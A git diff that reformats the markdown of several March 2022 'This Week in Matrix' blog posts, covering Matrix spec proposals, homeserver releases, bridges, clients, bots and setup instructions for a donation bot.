chat bot to send donation links to aid Ukraine in the 2022 Russian invasion of Ukraine. > > ## Setup +> > Install Python 3.8 or higher > > Install python-poetry +> > ```bash > python -m pip install poetry > ``` > > Clone Repository +> > ```bash > git clone https://github.com/KrazyKirby99999/matrix-ukraine-donation-bot.git > ``` > > Install Dependencies +> > ```bash > cd matrix-ukraine-donation-bot > python -m poetry install > ``` > -> ## Usage: +> ## Usage +> > Set environment variables +> > ```bash > HOMESERVER=https://matrix.org > USERNAME=matrix-ukraine-donation-bot @@ -355,12 +376,14 @@ A toolkit for writing commandbots more efficient in rust for matrix. > ``` > > Run main.py +> > ```bash > python -m poetry run python main.py > ``` > -> ## Example: +> ## Example > +> > ![](/blog/img/XcYvvtHMIiYjGMzERvirNTbh.png) ### Matrix Community Manager ([website](https://gitlab.com/Sleuth56/Matrix-Community-Manager/)) @@ -389,6 +412,7 @@ Looking for a bot to manage events and feedback from your community? Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -405,6 +429,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|adminctrl.com|699| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/03/2022-03-04-this-week-in-matrix-2022-03-04.md b/content/blog/2022/03/2022-03-04-this-week-in-matrix-2022-03-04.md index 75a9e9faa..7941d3388 100644 --- a/content/blog/2022/03/2022-03-04-this-week-in-matrix-2022-03-04.md +++ b/content/blog/2022/03/2022-03-04-this-week-in-matrix-2022-03-04.md @@ -19,11 +19,11 @@ image = "https://matrix.org/blog/img/WwUSbKWYkIUPEOELmeJiPlYO.png" [TravisR](https://matrix.to/#/@travis:t2l.io) says > [t2bot.io](https://t2bot.io) - a public integrations network for Matrix - has passed 1 Million known rooms and 8.3 Million bridged users. 10,000 of these rooms are attributed to Voyager (a bot which actively goes out to find rooms to map Matrix, with the map currently down for maintenance), leaving the remaining ones either bridged, previously bridged, or using a different integration offered by t2bot.io for free. -> -> The 8.3 Million users are mainly Discord and Telegram users which have been brought over to Matrix through bridges. The stats say "excluding Twitter-bridged" because there's 424,832 old accounts from back in the day when t2bot.io had a free Twitter bridge available. To further break this down, about 6.8M are Telegram users (12% of Telegram) and 1.3M are Discord (<1% of Discord). -> -> For perspective, t2bot.io has about 569 Million events stored in its database and sees approximately 30 thousand people bridged daily from the wider world into Matrix through its bridges. -> +> +> The 8.3 Million users are mainly Discord and Telegram users which have been brought over to Matrix through bridges. The stats say "excluding Twitter-bridged" because there's 424,832 old accounts from back in the day when t2bot.io had a free Twitter bridge available. To further break this down, about 6.8M are Telegram users (12% of Telegram) and 1.3M are Discord (<1% of Discord). +> +> For perspective, t2bot.io has about 569 Million events stored in its database and sees approximately 30 thousand people bridged daily from the wider world into Matrix through its bridges. +> > This post is just a milestone update, but it also serves as a reminder that running your own server/bridges is also possible. In fact, it's even recommended to have better control over your own data and avoid latency issues that large providers, like t2bot.io, can unintentionally introduce. Synapse is relatively easy to set up with minimal sysadmin knowledge ([guide](https://matrix-org.github.io/synapse/latest/setup/installation.html)), and there's always paid offerings like [Element Matrix Services](https://element.io/matrix-services) ([for home](https://element.io/element-home) and also [for fun](https://element.io/element-one)) and [Beeper](https://www.beeper.com/) for a richer bridging experience than t2bot.io can feasibly provide. [TravisR](https://matrix.to/#/@travis:t2l.io) adds @@ -32,73 +32,83 @@ image = "https://matrix.org/blog/img/WwUSbKWYkIUPEOELmeJiPlYO.png" [Thib](https://matrix.to/#/@thib:ergaster.org) reports -> It is to be noted that eQualitie has set-up public Matrix and Element instances for Ukrainian people who are struggling right now. If you are in Ukraine or are in touch with Ukrainian people who need secure communications, you can show them https://kyiv.dcomm.net.ua, https://odessa.dcomm.net.ua, or https://kharkiv.dcomm.net.ua depending on their location so they get instructions on how to create an account on Matrix and stay in touch +> It is to be noted that eQualitie has set-up public Matrix and Element instances for Ukrainian people who are struggling right now. If you are in Ukraine or are in touch with Ukrainian people who need secure communications, you can show them , , or depending on their location so they get instructions on how to create an account on Matrix and stay in touch ## Dept of Spec 📜 [Kegan](https://matrix.to/#/@kegan:matrix.org) reports > MSC3575 Sliding Sync work is progressing, and a number of new features have been added to the MSC with implementations in the built-in web client in the proxy. A list of changes include: +> > * spec/proxy: the ability to filter the room list by room name. > * spec/proxy: An`initial` flag on the room to distinguish between updates and the initial sync for a given room. This can be used as a hint to clients to determine if they should update/replace their local data for that room. > * proxy: more efficient algorithm for determining overlapping sets of ranges, resulting in fewer bytes over the wire when scrolling. > * proxy: the client implementation now supports sending basic text messages as well as issuing`/join`,`/invite`,`/leave` commands. > * proxy: the client implementation now has a developer HUD which tracks the Tx/Rx bytes as well as a visual representation of the sliding window. -> +> +> > ![](/blog/img/ZCFijelEVxqrDDOrzyvZcpBG.png) -> +> > The net result is a basic but incredibly low bandwidth syncing client: 60.79KB to download an entire initial sync on matrix.org. Further improvements will be done on the client to make sure it doesn't scale with the number of rooms on the user's account (it currently does because it naively adds a placeholder for each room in the list) to ensure it remains extremely snappy and a vision for what Sliding Sync can do in practice, right now. Please continue giving feedback on [MSC3575](https://github.com/matrix-org/matrix-spec-proposals/pull/3575) or in `#sliding-sync:matrix.org` as the API is still in development and will change depending on what clients require. [Andrew Morgan (Element)](https://matrix.to/#/@andrewm:element.io) announces -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > **Created MSCs:** +> > * [MSC3746: Render image data in reactions](https://github.com/matrix-org/matrix-spec-proposals/pull/3746) -> +> > **MSCs with newly proposed Final Comment Period:** -> * _No FCPs were proposed this week._ -> +> +> * *No FCPs were proposed this week.* +> > **MSCs in Final Comment Period:** +> > * [MSC3440: Threading via m.thread relation](https://github.com/matrix-org/matrix-spec-proposals/pull/3440) (merge) > * [MSC3316: Add timestamp massaging to the spec](https://github.com/matrix-org/matrix-spec-proposals/pull/3316) (merge) -> +> > **Closed MSCs:** +> > * [\[WIP\] MSC3710: User groups](https://github.com/matrix-org/matrix-spec-proposals/pull/3710) -> +> > **Merged MSCs:** -> * _No MSCs were merged this week._ -> +> +> * *No MSCs were merged this week.* +> > ## Spec Updates -> +> > Heads up! You may have noticed some changes to the matrix-org/matrix-doc github repository this week. The first major one being that it no longer exists! -> +> > We have separated it out into two repositories: +> > * [matrix-org/matrix-spec](https://github.com/matrix-org/matrix-spec) - the source text of the spec. Issues and pull requests filed here should relate to the source of the spec. > * [matrix-org/matrix-spec-proposals](https://github.com/matrix-org/matrix-spec-proposals) - all Matrix Spec Change proposals. New MSCs should be filed against this repository as pull requests. Issues should not be filed against this repository (and no, the issue tracker cannot be disabled, as it would cause transferred issue link redirects to 404). -> +> > The primary motivation for this was to separate concerns of interacting with matrix-org/matrix-doc. Those interacting with the spec's source would have to wade through long-lived spec proposals, while those only interested in spec proposals would need to filter out spec source files and other issues and PRs related to them. This also helps writing tooling against the repo either as it no longer needs to filter MSCs via issue labels. -> +> > Existing links to matrix-doc should be automatically redirected by github to the right place. MSC authors and developers should update their git remote settings to point to the new repos. -> +> > What happened in detail to achieve this was: +> > * `matrix-doc` was renamed to`matrix-spec-proposals` > * `matrix-spec` was created > * All files other than the "proposals" folder were transferred from`matrix-spec-proposals` to`matrix-spec` > * All open issues from`matrix-spec-proposals` were transferred to`matrix-spec` -> -> Further details are available here: https://github.com/matrix-org/matrix-spec/issues/927 -> +> +> Further details are available here: +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3383: Include destination in X-Matrix Auth Header](https://github.com/matrix-org/matrix-spec-proposals/pull/3383)! -> +> > This MSC asks for the simple change of adding a "destination" field to the `Authorization` header of federation requests. This would have the benefit of allowing reverse proxies - potentially handling traffic for multiple homeservers - to know where requests should be sent. Or for forward proxies, which could validate outgoing requests from a homeserver before they're sent. -> +> > There is currently some discussion on the fundamental idea of the MSCs, which will need to be resolved first before it can move forwards. -> +> +> > ![](/blog/img/20220304-spec.png) ## Dept of Servers 🏢 @@ -110,11 +120,11 @@ Synapse is the reference homeserver for Matrix [richvdh](https://matrix.to/#/@richvdh:sw1v.org) announces > Quite a varied bag this week! Firstly we cut a [release candidate](https://github.com/matrix-org/synapse/releases/tag/v1.54.0rc1) for Synapse 1.54.0, which we hope to release next week. As ever, testing and feedback is much appreciated. -> +> > Our switch to [Poetry](https://python-poetry.org/) for dependency management has come a few steps closer, by removing [tox](https://tox.wiki) from our Continuous Integration, and converting some of our ad-hoc scripts to proper Python [entry points](https://packaging.python.org/en/latest/specifications/entry-points/). -> +> > Meanwhile we've been continuing to knock out blockers to improving room join speeds, including better exception handling and logging, and some exciting work to [reduce wasted work](https://github.com/matrix-org/synapse/issues/3528) when a client disconnects while we're still processing a request. -> +> > We've also been taking a wider look at performance problems, such as slow `/sync` and `/login` times. ### Dendrite ([website](https://github.com/matrix-org/dendrite)) @@ -124,41 +134,45 @@ Second generation Matrix homeserver [Kegan](https://matrix.to/#/@kegan:matrix.org) reports > I have been asked by numerous people over months if there are any kind of graphs comparing Synapse and Dendrite. Up until now, my answer has been "as far as I know, no". However, this got me thinking whether I can use [Complement](https://github.com/matrix-org/complement) to engineer some kind of performance testing infrastructure. After hacking on it for a day or two, I can now share some of the work I've done in this area. There now exists two new binaries in the Complement repo: [perftest](https://github.com/matrix-org/complement/tree/main/cmd/perftest) and [perfgraph](https://github.com/matrix-org/complement/tree/main/cmd/perfgraph). The former will run some tests and output a `.json` file. The latter will consume these files to generate `.svg` graphs. The tests performed include: -> -> - Creating a bunch of rooms with different users. (currently 10 users and 50 rooms) -> - Joining a bunch of rooms with different users. -> - Sending messages into rooms with different users. (currently 100 messages) -> - Doing an initial sync for all users. -> - Updating the display name of all users. -> - Doing an incremental sync for all users. -> +> +> * Creating a bunch of rooms with different users. (currently 10 users and 50 rooms) +> * Joining a bunch of rooms with different users. +> * Sending messages into rooms with different users. (currently 100 messages) +> * Doing an initial sync for all users. +> * Updating the display name of all users. +> * Doing an incremental sync for all users. +> > The metrics are collected using `docker stats`. This means the *entire container* is measured, not just the homeserver binary (e.g any daemons or assistive processes are included in the metrics) and includes: -> - CPU time consumed -> - Memory consumed -> - Bytes transmitted/received -> - Disk read/writes -> - Time taken -> +> +> * CPU time consumed +> * Memory consumed +> * Bytes transmitted/received +> * Disk read/writes +> * Time taken +> > Here are some results: -> +> +> > ![](/blog/img/XqFhgSQyQMNuElZctQWoqdmx.png) -> +> > This was a surprising find and probably indicates that Dendrite has a memory leak somewhere when creating events. However, the fun doesn't stop there. We can also use this tool to compare different versions of the same homeserver: -> +> +> > ![](/blog/img/KcWIYkkVAcoHDSmWFmdEdvVF.png) -> +> > This allows us to quantify any performance improvements we've been working on, and you can clearly see how we're being more efficient with CPU in newer versions. But the fun doesn't stop there either. We can also compare different flavours of the same version of a homeserver: -> +> +> > ![](/blog/img/WwUSbKWYkIUPEOELmeJiPlYO.png) -> -> You can quantify the cost of running sqlite or postgres for your particular installation. -> +> +> You can quantify the cost of running sqlite or postgres for your particular installation. +> > Care must be taken when interpreting results. Lower doesn't always mean better. For example, a low readout on "create_users" may be a cause for concern as it might indicate that the server is not hashing passwords correctly (e.g using bcrypt/scrypt which are designed to consume CPU/memory). Servers which don't implement all of the specification will also be abnormally low on CPU/memory (e.g not having to calculate unread counts or handle push notifications naturally means less work to do so less resources consumed). Furthermore, these tests do not yet test federation, so expensive remote joins are not measured (remote joins require the joining server to check signatures, hashes, etc of a lot of events which doesn't happen for local servers). That being said, I have hopefully illustrated how useful this tool can be for both server developers trying to improve their software and server admins who want to use the right server for their hardware. The graphs are still a work-in-progress and there's a lot more that can be done in this area beyond a few days work, but it's a start. [neilalexander](https://matrix.to/#/@neilalexander:matrix.org) says > Today we've released [Dendrite 0.6.5](https://github.com/matrix-org/dendrite/releases/tag/v0.6.5) which contains early push notification support as well as a number of fixes and improvements. This release includes the following changes: -> +> > * Early support for push notifications has been added, with support for push rules, pushers, HTTP push gateways and the `/notifications` endpoint (contributions by [danpe](https://github.com/danpe), [PiotrKozimor](https://github.com/PiotrKozimor) and [tommie](https://github.com/tommie)) > * Spaces Summary (MSC2946) is now correctly supported (when `msc2946` is enabled in the config) > * All media API endpoints are now available under the `/v3` namespace @@ -177,12 +191,12 @@ Second generation Matrix homeserver > * Devices can now only be deleted within the appropriate UIA flow > * The `/context` endpoint now returns 404 instead of 500 if the event was not found > * SQLite mode will no longer leak memory as a result of not closing prepared statements -> +> > Spec compliance, as measured by Sytest, currently sits at: -> +> > * Client-server APIs: 76%, up from 65% last time > * Server-server APIs: 95%, up from 94% last time -> +> > As always, you can join us in [#dendrite:matrix.org](https://matrix.to/#/#dendrite:matrix.org) for Dendrite discussion and announcements. ## Dept of Bridges 🌉 @@ -194,20 +208,21 @@ A multi purpose multi platform bridge, formerly known as matrix-github [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) reports > matrix-hookshot reaches 1.2.0 -> +> > Hey folks, I'm back from holidays and I'm proud to say that hookshot is kicking out release after release. [This release](https://github.com/matrix-org/matrix-hookshot/releases/tag/1.2.0) is **especially** large and contains a bounty of new features and fixes. Of note are: +> > * JIRA Datacenter (On Premise) is now supported. -> * You can now configure fine grained permissions for users on the bridge by userId, homeserver domain or _room membership_ (think spaces). +> * You can now configure fine grained permissions for users on the bridge by userId, homeserver domain or *room membership* (think spaces). > * Generic webhooks has sprouted a **versioned** API, with v2 allowing for finer control over the output. > * GitHub connections now include the closing comment when issues and PRs are closed. > * GitHub connections will also notify a room when an existing issue has been relabled to one filtered by that room. > * Figma now uses MSC3440 for comment threads. -> +> > But seriously go check out the release, there is way more there than I can include in this TWIM post. Happy webhookin, matrix gang! -> +> > In case you did not know, Hookshot can be installed via spantaleev's [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-deploy). In addition to updates for this new release, the role has recently gotten some improvements and fixes by the community, so in case you had issues before, now is the time to try again! -> -> P.S oh and I almost forgot, we rehomed to https://github.com/matrix-org/matrix-hookshot. This doesn't change much, other than some redirects in your browsers cache. +> +> P.S oh and I almost forgot, we rehomed to . This doesn't change much, other than some redirects in your browsers cache. [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) adds @@ -226,8 +241,8 @@ A multi purpose multi platform bridge, formerly known as matrix-github > - level: manageConnections > service: '*' > ``` -> -> +> +> > Allows anyone to run github commands in rooms. User part of the room listed can actually go and create connections to anywhere (we use it internally at $work), and then there is a final random user who gets those permissions because they refuse to join that room :p ### matrix-appservice-irc ([website](https://github.com/matrix-org/matrix-appservice-irc)) @@ -237,17 +252,18 @@ Node.js IRC bridge for Matrix [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) reports > ### matrix-appservice-irc 0.33.0 -> +> > Two bridge updates from matrix.org in one week? You would be forgiven for thinking it was ~~FOSDEM~~ Christmas. -> +> > The highlights are: +> > * Support splitting users from different homeservers into different IPv6 blocks. We used this at FOSDEM to split attendeeds into a different ILINE. > * Added a new metric `clientpool_by_homeserver` which lists the states of IRC clients, by the top 25 homeservers. Useful to know who is using your bridge. > * Add support for subscribing to moderation policies. This allows a bridge admin to subscribe to Matrix "ban lists" and filter who can use their bridge. -> +> > **This release also now requires Node 14.x** as Node 12.x will be out of support very soon. -> -> See the changelog for yourself over at https://github.com/matrix-org/matrix-appservice-irc/releases/tag/0.33.0 +> +> See the changelog for yourself over at ## Dept of Clients 📱 @@ -258,10 +274,11 @@ A client for matrix, the decentralized communication protocol [Tobias Fella](https://matrix.to/#/@tobiasfella:kde.org) says > This week, we've fixed a few annoying issues in NeoChat: +> > * On platforms with a system tray, NeoChat no quits correctly when the system tray integration is disabled > * Similar state events are now aggregated into a single message (so no more scrolling through "Moderation has changed the access control lists" 🙂) > * Sending messages starting with a ':' works correctly again -> +> > We've also improved NeoChat's startup time from cache by a factor of several hundred, depending on the situation ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -290,10 +307,10 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * Working on missing messages bugs > * Making progress on the registration flow by setting name and avatar > * In development: -> - We will be trying out Spaces on iOS at 16:00 UTC / 17:00 CET on Tuesday, 8th of March. Head over to [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) to hear the latest on all testing sessions! -> - Live location sharing has started +> * We will be trying out Spaces on iOS at 16:00 UTC / 17:00 CET on Tuesday, 8th of March. Head over to [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) to hear the latest on all testing sessions! +> * Live location sharing has started > * In labs: -> - An option to use the last member avatar and name in the timeline +> * An option to use the last member avatar and name in the timeline ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -306,7 +323,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal > * Our language capabilities have expanded with improved Japanese translations (special thanks to the contributor for this!) > * The team is working on process improvements to reduce incoming PR backlog and getting to those faster. > * We’re actively looking into the reported increased memory usage. -> - As always, thank you for feedback and reports, it helps a lot. +> * As always, thank you for feedback and reports, it helps a lot. > * For those using the SDK, we’ve deprecated the main Matrix entrypoints, more information [here](https://github.com/vector-im/element-android/pull/5185) ## Dept of Non Chat Clients 🎛️ @@ -318,7 +335,7 @@ Matrix powered stream overlay for OBS, to integrate live chat in your favorite ( [f0x](https://matrix.to/#/@f0x:pixie.town) says > a very simple invite-accepting bot as part of [matrix-streamchat](https://git.pixie.town/f0x/matrix-streamchat) to more easily facilitate peeking into rooms over federation. -> You run one on your guest-access enabled homeserver, invite it to your remote room, and now all guest accounts from your server know they are in fact allowed to publicly read the room over federation without joining themselves. https://git.pixie.town/f0x/matrix-streamchat/src/branch/main/autojoin-bot +> You run one on your guest-access enabled homeserver, invite it to your remote room, and now all guest accounts from your server know they are in fact allowed to publicly read the room over federation without joining themselves. ## Dept of Widgets 🧩 @@ -328,13 +345,12 @@ A widget for moderating with mjolnir. Highly WIP. Use at your own risk! [MTRNord (they/them)](https://matrix.to/#/@mtrnord:nordgedanken.dev) reports -> # Mjölnir Moderation Widget -> > There have been a few changes to the widget: +> > * Ability to kick people was added > * Inter font was added to improve readability > * Work on having a setup page for the bot was added which allows to easily add the bot to your room (sets up permissions and invites the bot as required) -> * Added support for a state event which tells the widget about "who is the bot?" and "which lists does this bot monitor?" Which also allows you to use the widget without being in the banlist room yourself. (See https://github.com/MTRNord/matrix-moderation-widget#use-a-state-event-to-allow-showing-relevant-lists-only-in-the-dropdown for more information) +> * Added support for a state event which tells the widget about "who is the bot?" and "which lists does this bot monitor?" Which also allows you to use the widget without being in the banlist room yourself. (See for more information) ## Dept of VoIP 🤙 @@ -344,13 +360,13 @@ Native Decentralised End-to-end Encrypted Group Calls in Matrix, as a standalone [Matthew](https://matrix.to/#/@matthew:matrix.org) reports -> Element Call has entered beta! Head over to https://call.element.io (formerly matrixvoip.dev) to play with in-browser native Matrix voice/video calling powered by MSC3401, supporting all webrtc-capable mobile & desktop browsers. See all the details over at https://element.io/blog/introducing-native-matrix-voip-with-element-call/ -> -> - Offers high quality video calls with around 6 or 7 participants as a small & simple, standalone app that allows anyone to drop into a video conference easily. -> - This is beta - please file bugs at https://github.com/vector-im/element-call/issues and be aware that currently all participants need good bandwidth -> - This is the first implementation of MSC3401: a spec for secure, federated voice and video conferences. -> - Integrations into other clients are coming soon, Hydrogen is working on it right now -> - We’ll also be developing a server to mix media streams so calls can scale up to much larger number of participants. The server will only ever see your encrypted media, so calls will stay secure and confidential. +> Element Call has entered beta! Head over to (formerly matrixvoip.dev) to play with in-browser native Matrix voice/video calling powered by MSC3401, supporting all webrtc-capable mobile & desktop browsers. See all the details over at +> +> * Offers high quality video calls with around 6 or 7 participants as a small & simple, standalone app that allows anyone to drop into a video conference easily. +> * This is beta - please file bugs at and be aware that currently all participants need good bandwidth +> * This is the first implementation of MSC3401: a spec for secure, federated voice and video conferences. +> * Integrations into other clients are coming soon, Hydrogen is working on it right now +> * We’ll also be developing a server to mix media streams so calls can scale up to much larger number of participants. The server will only ever see your encrypted media, so calls will stay secure and confidential. ## Dept of SDKs and Frameworks 🧰 @@ -361,49 +377,26 @@ A set of Rust library crates for working with the Matrix protocol. Ruma’s appr [Jonas Platte](https://matrix.to/#/@jplatte:flipdot.org) reports > We're back (to TWIM)! Here's some highlights from the past few months: -> +> > * Stronger types for some things: -> * [`Base64`](https://github.com/ruma/ruma/pull/773) which ensures you always decode / encode with the appropriate base64 dictionary [[@jplatte]] -> * [`TransactionId`](https://github.com/ruma/ruma/pull/809) which is simply a little more explicit than `String` and easier to generate a random instance of [[@jplatte]] +> * [`Base64`](https://github.com/ruma/ruma/pull/773) which ensures you always decode / encode with the appropriate base64 dictionary [[@jplatte]] +> * [`TransactionId`](https://github.com/ruma/ruma/pull/809) which is simply a little more explicit than `String` and easier to generate a random instance of [[@jplatte]] > * Stable support for lots of previously-unstable functionality that got stabilized upstream as part of the Matrix specification releases v1.1 and v1.2 [[@zecakeh]] > * [Support for versioned endpoints](https://github.com/ruma/ruma/issues/842) in the client-server API [[@ShadowJonathan]] > * [Rehaul of our module structure](https://github.com/ruma/ruma/pull/906) to match the client-server API's new versioned endpoints (before: `r0::foo::get_bar`, after: `foo::get_bar::v3`) [[@ShadowJonathan]] > * More fine-grained feature flags for MSC implementations (before: everything behind `unstable-pre-spec`, after: most things behind dedicated `unstable-mscXXXX` features) [[@zecakeh]] > * [`matrix.to` URI parsing](https://github.com/ruma/ruma/pull/916) [[@zecakeh]] > * [`MatrixUri` type](https://github.com/ruma/ruma/pull/926) [[@zecakeh]] -> +> > All of these changes are available in version 0.5.0 which was released about two weeks ago. -> -> Additionally, [@zecakeh](https://github.com/zecakeh) recently started implementing extensible events _and_ doing some pretty heavy internal refactoring that will make our release process faster and hopefully make contributing to Ruma easier as well. -> +> +> Additionally, [@zecakeh](https://github.com/zecakeh) recently started implementing extensible events *and* doing some pretty heavy internal refactoring that will make our release process faster and hopefully make contributing to Ruma easier as well. +> > With all these changes we're very close to supporting all of Matrix v1.1 (and Matrix v1.2 too!), with the only major omission being Secure Secret Storage and Sharing (SSSS). Some work on that was done as far back as last year's GSoC but it was blocked on a medium-sized refactoring of how we handle account data. I'm planning to get that over the finish line over the next weeks. -> -> [@iinuwa]: https://github.com/iinuwa -> [@DevinR528]: https://github.com/DevinR528 -> [@gnieto]: https://github.com/gnieto -> [@elegaanz]: https://github.com/elegaanz -> [@poljar]: https://github.com/poljar -> [@auscompgeek]: https://github.com/auscompgeek -> [@lanker]: https://github.com/lanker -> [@V02460]: https://github.com/V02460 -> [@iinuwa]: https://github.com/iinuwa -> [@DevinR528]: https://github.com/DevinR528 -> [@tilosp]: https://github.com/tilosp -> [@NerdyPepper]: https://github.com/NerdyPepper -> [@jamtwister]: https://github.com/jamtwister -> [@florianjacob]: https://github.com/florianjacob -> [@jsparber]: https://github.com/jsparber -> [@unseddd]: https://github.com/unseddd -> [@PunitLodha]: https://github.com/PunitLodha -> [@timokoesters]: https://github.com/timokoesters +> > [@zecakeh]: https://github.com/zecakeh -> [@Frinksy]: https://github.com/Frinksy -> [@louisdewar]: https://github.com/louisdewar -> [@abhikjain360]: https://github.com/abhikjain360 -> [@johannescpk]: https://github.com/johannescpk > [@jplatte]: https://github.com/jplatte > [@ShadowJonathan]: https://github.com/ShadowJonathan -> [@132ikl]: https://github.com/132ikl ## Dept of Ops 🛠 @@ -414,23 +407,24 @@ Synapse Maintenance Container – Docker container with tools for synapse & post [saces](https://matrix.to/#/@saces:c-base.org) announces > Start it without command and let it do its magic :) -> +> > What it does by default: +> > * daily: -> - purge all rooms without local members -> - run the state autocompressor (small setting 500/100) +> * purge all rooms without local members +> * run the state autocompressor (small setting 500/100) > * weekly: -> - delete old remote media (>90 days) -> - delete old message history from public joinable rooms (>180 days) +> * delete old remote media (>90 days) +> * delete old message history from public joinable rooms (>180 days) > * monthly: -> - run the state autocompressor (big setting 1500/300) -> - vacuum the database -> -> Source: https://gitlab.com/mb-saces/synatainer -> +> * run the state autocompressor (big setting 1500/300) +> * vacuum the database +> +> Source: +> > Room: [#synatainer:c-base.org](https://matrix.to/#/#synatainer:c-base.org) -> -> Compose example: https://gitlab.com/mb-saces/synatainer/-/snippets/2264828 +> +> Compose example: ## Dept of Bots 🤖 @@ -439,41 +433,43 @@ Synapse Maintenance Container – Docker container with tools for synapse & post [JulianF](https://matrix.to/#/@julian:foad.me.uk) announces > I'm working on a little hobby project, The Matrix Scribe. -> +> > [The Matrix Scribe](https://lab.trax.im/julianfoad/matrix-scribe) helps us re-post or transcribe messages into [matrix](https://matrix.org/) that we received from somewhere else, posing as different ghost users to represent the original authors. -> +> > Scribe will post this: > > `Ann` I'm Ann. -> > +> > > > `Bob` Hello! I'm Bob. -> +> > when I write this to `@scribe-bot`: > > `@julian` /scribe as Ann -> > +> > > > `@julian` I'm Ann. -> > +> > > > `@julian` /scribe as Bob -> > +> > > > `@julian` Hello! I'm Bob. -> +> > That is an illustration of the goal. The output part works already; the bot part isn't implemented yet. -> +> > Why? +> > * I want to encourage people to experiment and play with extending Matrix in creative ways. > * As a building block for myself towards building more usual matrix bridges. Scribe is the input half of the matrix half of a bridge, so literally one quarter of a typical matrix bridge. > * I hope that I myself and maybe some other people will find Scribe fun or useful in itself. -> +> > If you find this interesting... +> > * Come and say hello in the matrix room: [#matrix-scribe:foad.me](https://matrix.to/#/#matrix-scribe:foad.me).uk -> * See the [blog post](https://wrily.foad.me.uk/the-matrix-scribe) or the [project README](https://lab.trax.im/julianfoad/matrix-scribe) _(similar content in both)_ -> -> _Scribe is not intended to mislead users. It should be deployed in such a way that its use is clear, and require appropriate permissions._ +> * See the [blog post](https://wrily.foad.me.uk/the-matrix-scribe) or the [project README](https://lab.trax.im/julianfoad/matrix-scribe) *(similar content in both)* +> +> *Scribe is not intended to mislead users. It should be deployed in such a way that its use is clear, and require appropriate permissions.* ### maubot_azuracast [boris](https://matrix.to/#/@boris:tilt303.org) reports -> a simple bot https://github.com/borisrunakov/maubot_azuracast built with maubot, that you can use to request data from your [azuracast](https://www.azuracast.com/) self hosted instance. It's not much but ok... +> a simple bot built with maubot, that you can use to request data from your [azuracast](https://www.azuracast.com/) self hosted instance. It's not much but ok... ## Dept of Events and Talks 🗣️ @@ -486,6 +482,7 @@ Synapse Maintenance Container – Docker container with tools for synapse & post Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -502,6 +499,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|mtrx.fail|2093.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/03/2022-03-11-this-week-in-matrix-2022-03-11.md b/content/blog/2022/03/2022-03-11-this-week-in-matrix-2022-03-11.md index b3f0bdbfb..4e113f932 100644 --- a/content/blog/2022/03/2022-03-11-this-week-in-matrix-2022-03-11.md +++ b/content/blog/2022/03/2022-03-11-this-week-in-matrix-2022-03-11.md @@ -18,38 +18,43 @@ image = "https://matrix.org/blog/img/UjAGMcRnHkHgJKNvHHSidIQr.png" [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** -> * [MSC3751: Allowing widgets to read account data ](https://github.com/matrix-org/matrix-spec-proposals/pull/3751) -> +> +> * [MSC3751: Allowing widgets to read account data](https://github.com/matrix-org/matrix-spec-proposals/pull/3751) +> > **MSCs with proposed Final Comment Period:** +> > * *No MSCs had FCP proposed this week.* -> +> > **MSCs in Final Comment Period:** +> > * *No MSCs entered FCP this week.* -> +> > **Merged MSCs:** +> > * [MSC3440: Threading via `m.thread` relation](https://github.com/matrix-org/matrix-spec-proposals/pull/3440) > * [MSC3316: Add timestamp massaging to the spec](https://github.com/matrix-org/matrix-spec-proposals/pull/3316) -> +> > ## Spec Updates -> +> > Keeping in step with our quarterly spec releases, the release of Matrix v1.3 is expected to land sometime early Q2 2022. This release will include Threads (as defined by [MSC3440](https://github.com/matrix-org/matrix-doc/pull/3440)), as well as a number of other MSCs which land in the meantime. -> +> > Speaking of other MSCs, client developers should be aware of upcoming work to support live and static location sharing in the ecosystem. A 